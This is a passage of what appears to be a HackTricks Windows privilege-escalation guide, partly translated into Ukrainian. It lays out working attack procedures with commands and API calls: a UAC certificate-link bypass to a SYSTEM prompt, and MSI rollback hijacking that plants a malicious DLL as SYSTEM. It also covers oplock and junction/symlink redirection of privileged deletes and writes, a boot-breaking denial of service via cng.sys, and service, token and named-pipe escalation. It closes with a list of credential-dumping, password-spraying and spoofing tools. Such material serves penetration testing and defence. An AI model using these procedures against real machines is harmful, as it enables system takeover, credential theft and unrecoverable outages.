Windows 10 1709	16299	link NOT opened

Щоб використати цю вразливість, необхідно виконати такі кроки:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Від Administrator Medium до High Integrity Level / UAC Bypass

Прочитайте це, щоб дізнатися про Integrity Levels:

Integrity Levels

Потім прочитайте це, щоб дізнатися про UAC і UAC bypasses:

UAC - User Account Control

Від Arbitrary Folder Delete/Move/Rename до SYSTEM EoP

Техніка, описана у цьому blog post з exploit code доступним тут.

Атака по суті полягає в зловживанні rollback feature Windows Installer, щоб замінювати легітимні файли на malicious під час процесу uninstall. Для цього attacker має створити malicious MSI installer, який буде використаний для hijack папки C:\Config.Msi, що потім буде використана Windows Installer для зберігання rollback files під час uninstall інших MSI packages, де rollback files буде змінено, щоб містити malicious payload.

Стислий опис техніки такий:

  1. Stage 1 – Preparing for the Hijack (залишити C:\Config.Msi порожньою)
  • Step 1: Install the MSI

  • Створіть .msi, який встановлює нешкідливий файл (наприклад, dummy.txt) у writable folder (TARGETDIR).

  • Позначте installer як “UAC Compliant”, щоб non-admin user міг його запускати.

  • Після install залиште handle відкритим для файлу.

  • Step 2: Begin Uninstall

  • Видаліть той самий .msi.

  • Процес uninstall починає переносити файли до C:\Config.Msi і перейменовувати їх у .rbf files (rollback backups).

  • Poll open file handle за допомогою GetFinalPathNameByHandle, щоб виявити момент, коли файл стає C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • .msi містить custom uninstall action (SyncOnRbfWritten), яка:

  • Сигналізує, коли .rbf був записаний.

  • Потім waits на іншій події перед продовженням uninstall.

  • Step 4: Block Deletion of .rbf

  • Коли подія спрацює, відкрийте .rbf file без FILE_SHARE_DELETE — це запобігає його видаленню.

  • Потім signal back, щоб uninstall міг завершитися.

  • Windows Installer не може видалити .rbf, і оскільки він не може видалити весь вміст, C:\Config.Msi не видаляється.

  • Step 5: Manually Delete .rbf

  • Ви (attacker) видаляєте .rbf file вручну.

  • Тепер C:\Config.Msi порожня, готова до hijack.

На цьому етапі trigger SYSTEM-level arbitrary folder delete vulnerability для видалення C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Відтворіть папку C:\Config.Msi самостійно.

  • Встановіть weak DACLs (наприклад, Everyone:F) і залиште handle відкритим з WRITE_DAC.

  • Step 7: Run Another Install

  • Встановіть .msi знову, з:

  • TARGETDIR: Writable location.

  • ERROROUT: змінна, яка викликає примусовий failure.

  • Цей install буде використаний, щоб знову trigger rollback, який читає .rbs і .rbf.

  • Step 8: Monitor for .rbs

  • Використайте ReadDirectoryChangesW, щоб monitor C:\Config.Msi, доки не з’явиться новий .rbs.

  • Capture його filename.

  • Step 9: Sync Before Rollback

  • .msi містить custom install action (SyncBeforeRollback), яка:

  • Сигналізує event, коли .rbs створено.

  • Потім waits перед продовженням.

  • Step 10: Reapply Weak ACL

  • Після отримання event rbs created:

  • Windows Installer reapplies strong ACLs до C:\Config.Msi.

  • Але оскільки у вас усе ще є handle з WRITE_DAC, ви можете reapply weak ACLs знову.

ACLs enforced only on handle open, тому ви все ще можете записувати до папки.

  • Step 11: Drop Fake .rbs and .rbf

  • Перезапишіть .rbs file fake rollback script, який каже Windows:

  • Restore ваш .rbf file (malicious DLL) у privileged location (наприклад, C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop ваш fake .rbf, що містить malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Сигналізуйте sync event, щоб installer продовжив роботу.

  • type 19 custom action (ErrorOut) налаштована на навмисний failure install у відомій точці.

  • Це спричиняє початок rollback.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Читає ваш malicious .rbs.

  • Копіює ваш .rbf DLL у target location.

  • Тепер у вас є ваш malicious DLL у SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Запустіть довірений auto-elevated binary (наприклад, osk.exe), який завантажує DLL, що ви hijacked.

  • Boom: Ваш code виконується as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

Основна MSI rollback technique (попередня) припускає, що ви можете видалити цілу папку (наприклад, C:\Config.Msi). Але що, якщо ваша vulnerability дозволяє лише arbitrary file deletion ?

Ви можете використати NTFS internals: кожна папка має прихований alternate data stream, який називається:

C:\SomeFolder::$INDEX_ALLOCATION

Цей потік зберігає метадані індексу папки.

Тож, якщо ви видалите потік ::$INDEX_ALLOCATION папки, NTFS видалить всю папку з файлової системи.

Це можна зробити, використовуючи стандартні API видалення файлів, наприклад:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Навіть якщо ви викликаєте API delete для файла, воно видаляє саму папку.

From Folder Contents Delete to SYSTEM EoP

Що, якщо ваш primitive не дозволяє вам видаляти довільні файли/папки, але дозволяє видалення вмісту папки, контрольованої attacker’ом?

  1. Step 1: Setup a bait folder and file
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Step 2: Place an oplock on file1.txt
  • The oplock pauses execution when a privileged process tries to delete file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Крок 3: Запустіть процес SYSTEM (наприклад, SilentCleanup)
  • Цей процес сканує папки (наприклад, %TEMP%) і намагається видалити їхній вміст.
  • Коли він доходить до file1.txt, oplock спрацьовує і передає керування вашому callback.
  1. Крок 4: Усередині callback oplock – перенаправте видалення
  • Варіант A: Перемістіть file1.txt в інше місце

  • Це очищає folder1, не порушуючи oplock.

  • Не видаляйте file1.txt напряму — це передчасно звільнить oplock.

  • Варіант B: Перетворіть folder1 на junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Option C: Створіть symlink у \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Це націлено на внутрішній NTFS stream, який зберігає метадані папки — видалення його видаляє папку.

  1. Step 5: Release the oplock
  • SYSTEM process continues and tries to delete file1.txt.
  • But now, due to the junction + symlink, it’s actually deleting:
C:\Config.Msi::$INDEX_ALLOCATION

Result: C:\Config.Msi видалено SYSTEM.

From Arbitrary Folder Create to Permanent DoS

Експлуатуй primitive, яка дозволяє тобі створити довільну папку як SYSTEM/admin — навіть якщо ти не можеш записувати файли або встановлювати weak permissions.

Створи папку (не файл) з назвою critical Windows driver, наприклад:

C:\Windows\System32\cng.sys
  • Цей шлях зазвичай відповідає cng.sys драйверу kernel-mode.
  • Якщо попередньо створити його як папку, Windows не може завантажити справжній драйвер під час boot.
  • Потім Windows намагається завантажити cng.sys під час boot.
  • Вона бачить папку, не може визначити справжній драйвер, і падає або зупиняє boot.
  • Тут немає fallback, і немає recovery без зовнішнього втручання (наприклад, boot repair або доступу до диска).

Коли privileged service записує logs/exports у шлях, прочитаний із writable config, можна перенаправити цей шлях за допомогою Object Manager symlinks + NTFS mount points і перетворити privileged write на arbitrary overwrite (навіть без SeCreateSymbolicLinkPrivilege).

Вимоги

  • Config, що зберігає target path, writable для attacker (наприклад, %ProgramData%\...\.ini).
  • Можливість створити mount point до \RPC Control і OM file symlink (James Forshaw symboliclink-testing-tools).
  • Privileged operation, яка записує в цей шлях (log, export, report).

Приклад chain

  1. Прочитати config, щоб відновити privileged log destination, напр. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt у C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Перенаправити шлях без admin:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Зачекайте, поки привілейований компонент запише log (наприклад, admin запускає “send test SMS”). Запис тепер потрапляє в C:\Windows\System32\cng.sys.
  2. Перевірте перезаписану ціль (hex/PE parser), щоб підтвердити corruption; reboot примусово змушує Windows завантажити змінений driver path → boot loop DoS. Це також узагальнюється на будь-який protected file, який привілейований service відкриє для write.

cng.sys зазвичай завантажується з C:\Windows\System32\drivers\cng.sys, але якщо копія існує в C:\Windows\System32\cng.sys, її можуть спробувати першою, що робить це надійним DoS sink для corrupted data.

From High Integrity to System

New service

If you are already running on a High Integrity process, the path to SYSTEM can be easy just creating and executing a new service:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

When creating a service binary make sure it’s a valid service or that the binary performs the necessary actions to fast as it’ll be killed in 20s if it’s not a valid service.

AlwaysInstallElevated

From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

You can find the code here.

From SeDebug + SeImpersonate to Full Token privileges

If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to open almost any process (not protected processes) with the SeDebug privilege, copy the token of the process, and create an arbitrary process with that token.
Using this technique is usually selected any process running as SYSTEM with all the token privileges (yes, you can find SYSTEM processes without all the token privileges).
You can find an example of code executing the proposed technique here.

Named Pipes

This technique is used by meterpreter to escalate in getsystem. The technique consists on creating a pipe and then create/abuse a service to write on that pipe. Then, the server that created the pipe using the SeImpersonate privilege will be able to impersonate the token of the pipe client (the service) obtaining SYSTEM privileges.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

If you manages to hijack a dll being loaded by a process running as SYSTEM you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far more easy to achieve from a high integrity process as it will have write permissions on the folders used to load dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Check for misconfigurations and sensitive files (check here). Detected.
JAWS – Check for some possible misconfigurations and gather info (check here).
privesc – Check for misconfigurations
SessionGopher – It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.
Invoke-WCMDump – Extracts crendentials from Credential Manager. Detected.
DomainPasswordSpray – Spray gathered passwords across domain
Inveigh – Inveigh is a PowerShell ADIDNS/LLMNR/mDNS spoofer and man-in-the-middle tool.
WindowsEnum – Basic privesc Windows enumeration
Sherlock ~~~~ – Search for known privesc vulnerabilities (DEPRECATED for Watson)
WINspect – Local checks (Need Admin rights)

Exe

Watson – Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) (precompiled)
SeatBelt – Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) (precompiled)
LaZagne – Extracts credentials from lots of softwares (precompiled exe in github)
SharpUP – Port of PowerUp to C#
Beroot ~~~~ – Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.
Windows-Privesc-Check – Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.

Bat

winPEASbat – Tool created based in this post (it does not need accesschk to work properly but it can use it).

Local

Windows-Exploit-Suggester – Reads the output of systeminfo and recommends working exploits (local python)
Windows Exploit Suggester Next Generation – Reads the output of systeminfo andrecommends working exploits (local python)

Meterpreter

multi/recon/local_exploit_suggestor

You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

References

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks